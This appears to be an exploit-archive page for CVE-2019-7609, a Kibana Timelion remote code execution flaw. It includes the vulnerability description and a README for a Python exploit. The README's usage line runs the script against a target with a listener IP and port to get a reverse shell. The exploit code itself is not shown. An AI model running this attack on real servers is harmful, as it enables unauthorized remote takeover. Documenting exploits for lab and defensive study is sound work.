Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2019-7609 PoC — Elasticsearch Kibana 代码注入漏洞

Source
Associated Vulnerability
Title:Elasticsearch Kibana 代码注入漏洞 (CVE-2019-7609)
Description:Elasticsearch Kibana是荷兰Elasticsearch公司的一套开源的、基于浏览器的分析和搜索Elasticsearch仪表板工具。 Kibana 5.6.15之前版本和6.6.1之前版本中的Timelion visualizer存在安全漏洞。远程攻击者可通过发送请求利用该漏洞执行JavaScript代码并可能以Kibana进程权限执行任意命令。
Description
Kibana <6.6.0 RCE written in python3
Readme
# CVE-2019-7609

Exploit for CVE-2019-7609 written in `python3.6+` based on the [code by LandGrey](https://github.com/LandGrey/CVE-2019-7609).

> **CVE-2019-7609**: RCE on Kibana versions before 5.6.15 and 6.6.0 in the Timelion visualizer.

## Usage

1. Start a listener
2. Run the exploit with the target url (base url of the kiba server), the listener host address and listener port as arguments

```bash
./cve-2019-7609.py http://<target>:5601 <listener-ip> <listener-port>
```
3. Enjoy RCE

## Example

> Tested on the [Kiba room on TryHackme](https://tryhackme.com/room/kiba)

![Example](example.png)
File Snapshot

[4.0K] /data/pocs/eb0795d20c7159e1164ae9fc37479527e1434c41 ├── [4.5K] cve-2019-7609.py ├── [347K] example.png └── [ 606] README.md 0 directories, 3 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.